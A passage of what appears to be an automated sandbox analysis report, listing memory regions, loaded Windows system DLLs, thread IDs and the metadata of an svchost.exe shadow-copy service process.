= 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 466 start_va = 0x1fb0000 end_va = 0x21affff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 467 start_va = 0x2280000 end_va = 0x22fffff entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 468 start_va = 0x73f90000 end_va = 0x73f92fff entry_point = 0x73f90000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 469 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 470 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 471 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 472 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 473 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 474 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 475 start_va = 0xfff20000 end_va = 0xfff2afff entry_point = 0xfff20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 476 start_va = 0x7fef4bd0000 end_va = 0x7fef4c2ffff entry_point = 0x7fef4bd0000 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 477 start_va = 0x7fef69e0000 end_va = 0x7fef69ebfff entry_point = 0x7fef69e0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 478 start_va = 0x7fef6a30000 end_va = 0x7fef6b07fff entry_point = 0x7fef6a30000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 479 start_va = 0x7fef6d60000 end_va = 0x7fef6d67fff entry_point = 0x7fef6d60000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 480 start_va = 0x7fef6d70000 end_va = 0x7fef6de3fff entry_point = 0x7fef6d70000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 481 start_va = 0x7fef7b60000 end_va = 0x7fef7b78fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 482 start_va = 0x7fef7b80000 end_va = 0x7fef7b8ffff entry_point = 0x7fef7b80000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 483 start_va = 0x7fef7b90000 end_va = 0x7fef7ba1fff entry_point = 0x7fef7b90000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 484 start_va = 0x7fef7d00000 end_va = 0x7fef7d63fff entry_point = 0x7fef7d00000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 485 start_va = 0x7fef7d70000 end_va = 0x7fef7de0fff entry_point = 0x7fef7d70000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 486 start_va = 0x7fef8380000 end_va = 0x7fef8397fff entry_point = 0x7fef8380000 region_type = mapped_file name = "vmictimeprovider.dll" filename = "\\Windows\\System32\\vmictimeprovider.dll" (normalized: "c:\\windows\\system32\\vmictimeprovider.dll") Region: id = 487 start_va = 0x7fef8860000 end_va = 0x7fef88dbfff entry_point = 0x7fef8860000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 488 start_va = 0x7fefaef0000 end_va = 0x7fefaf07fff entry_point = 0x7fefaef0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 489 start_va = 0x7fefaf10000 end_va = 0x7fefaf20fff entry_point = 0x7fefaf10000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 490 start_va = 0x7fefafe0000 end_va = 0x7fefb032fff entry_point = 0x7fefafe0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 491 start_va = 0x7fefb110000 end_va = 0x7fefb119fff entry_point = 0x7fefb110000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 492 start_va = 0x7fefb130000 end_va = 0x7fefb13afff entry_point = 0x7fefb130000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 493 start_va = 0x7fefb140000 end_va = 0x7fefb166fff entry_point = 0x7fefb140000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 494 start_va = 0x7fefb1c0000 end_va = 0x7fefb226fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 495 start_va = 0x7fefb240000 end_va = 0x7fefb24bfff entry_point = 0x7fefb240000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 496 start_va = 0x7fefb300000 end_va = 0x7fefb314fff entry_point = 0x7fefb300000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 497 start_va = 0x7fefb990000 end_va = 0x7fefb9a8fff entry_point = 0x7fefb990000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 498 start_va = 0x7fefb9b0000 end_va = 0x7fefb9c4fff entry_point = 0x7fefb9b0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 499 start_va = 0x7fefba30000 end_va = 0x7fefba3afff entry_point = 0x7fefba30000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 500 start_va = 0x7fefbbb0000 end_va = 0x7fefbbc7fff entry_point = 0x7fefbbb0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 501 start_va = 0x7fefc970000 end_va = 0x7fefc97bfff entry_point = 0x7fefc970000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 502 start_va = 0x7fefca40000 end_va = 0x7fefca46fff entry_point = 0x7fefca40000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 503 start_va = 0x7fefcb30000 end_va = 0x7fefcb4afff entry_point = 0x7fefcb30000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 504 start_va = 0x7fefcb50000 end_va = 0x7fefcb6dfff entry_point = 0x7fefcb50000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 505 start_va = 0x7fefcca0000 end_va = 0x7fefcca9fff entry_point = 0x7fefcca0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 506 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 507 start_va = 0x7fefce90000 end_va = 0x7fefcebffff entry_point = 0x7fefce90000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 508 start_va = 0x7fefcec0000 end_va = 0x7fefcf1afff entry_point = 0x7fefcec0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 509 start_va = 0x7fefd030000 end_va = 0x7fefd036fff entry_point = 0x7fefd030000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 510 start_va = 0x7fefd040000 end_va = 0x7fefd094fff entry_point = 0x7fefd040000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 511 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 512 start_va = 0x7fefd340000 end_va = 0x7fefd353fff entry_point = 0x7fefd340000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 513 start_va = 0x7fefd640000 end_va = 0x7fefd64afff entry_point = 0x7fefd640000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 514 start_va = 0x7fefd670000 end_va = 0x7fefd694fff entry_point = 0x7fefd670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 515 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 516 start_va = 0x7fefd6b0000 end_va = 0x7fefd740fff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 517 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 518 start_va = 0x7fefd7b0000 end_va = 0x7fefd7befff entry_point = 0x7fefd7b0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 519 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 520 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 521 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 522 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 523 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 524 start_va = 0x7fefdef0000 end_va = 0x7fefdef7fff entry_point = 0x7fefdef0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 525 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 526 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 527 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 528 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 529 start_va = 0x7feff4e0000 end_va = 0x7feff550fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 530 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 531 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 532 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 533 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 534 start_va = 0x7feffb20000 end_va = 0x7feffb6cfff entry_point = 0x7feffb20000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 535 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 536 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 537 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 538 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 539 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 540 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 541 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 542 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 543 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 544 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 545 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 546 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 547 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 548 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 549 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 550 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 551 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 552 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 553 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 20 os_tid = 0x8c4 Thread: id = 21 os_tid = 0x724 Thread: id = 22 os_tid = 0x6ec Thread: id = 23 os_tid = 0x730 Thread: id = 24 os_tid = 0x734 Thread: id = 25 os_tid = 0x7ac Thread: id = 26 os_tid = 0x7a8 Thread: id = 27 os_tid = 0x77c Thread: id = 28 os_tid = 0x758 Thread: id = 29 os_tid = 0x754 Thread: id = 30 os_tid = 0x61c Thread: id = 31 os_tid = 0x158 Thread: id = 32 os_tid = 0x154 Thread: id = 33 os_tid = 0x130 Thread: id = 34 os_tid = 0x12c Thread: id = 35 os_tid = 0x11c Thread: id = 48 os_tid = 0x118 Thread: id = 65 os_tid = 0x764 Thread: id = 72 os_tid = 0xb0c Thread: id = 76 os_tid = 0xb34 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x32805000" os_pid = "0xad0" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0xaa8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0004d5e4" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 565 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 566 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 567 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 568 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 569 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 570 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 571 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 572 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 573 start_va = 0x160000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 574 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 575 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 576 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 577 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 578 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 579 start_va = 0x480000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 580 start_va = 0x560000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 581 start_va = 0x5e0000 end_va = 0x8aefff entry_point = 0x5e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 582 start_va = 0x8b0000 end_va = 0xa37fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008b0000" filename = "" Region: id = 583 start_va = 0xa40000 end_va = 0xbc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 584 start_va = 0xbd0000 end_va = 0xc8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 585 start_va = 0xc90000 end_va = 0x1082fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 586 start_va = 0x10f0000 end_va = 0x116ffff entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 587 start_va = 0x1170000 end_va = 0x11effff entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 588 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 589 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 590 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 591 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 592 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 593 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 594 start_va = 0xfff20000 end_va = 0xfff2afff entry_point = 0xfff20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 595 start_va = 0x7fef3e90000 end_va = 0x7fef3f11fff entry_point = 0x7fef3e90000 region_type = mapped_file name = "swprv.dll" filename = "\\Windows\\System32\\swprv.dll" (normalized: "c:\\windows\\system32\\swprv.dll") Region: id = 596 start_va = 0x7fef43b0000 end_va = 0x7fef43b8fff entry_point = 0x7fef43b0000 region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 597 start_va = 0x7fef43c0000 end_va = 0x7fef43c9fff entry_point = 0x7fef43c0000 region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 598 start_va = 0x7fef6be0000 end_va = 0x7fef6bf3fff entry_point = 0x7fef6be0000 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 599 start_va = 0x7fef7e80000 end_va = 0x7fef7e96fff entry_point = 0x7fef7e80000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 600 start_va = 0x7fefb260000 end_va = 0x7fefb278fff entry_point = 0x7fefb260000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 601 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 602 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 603 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 604 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 605 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 606 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 607 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 608 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 609 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 610 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 611 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 612 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: 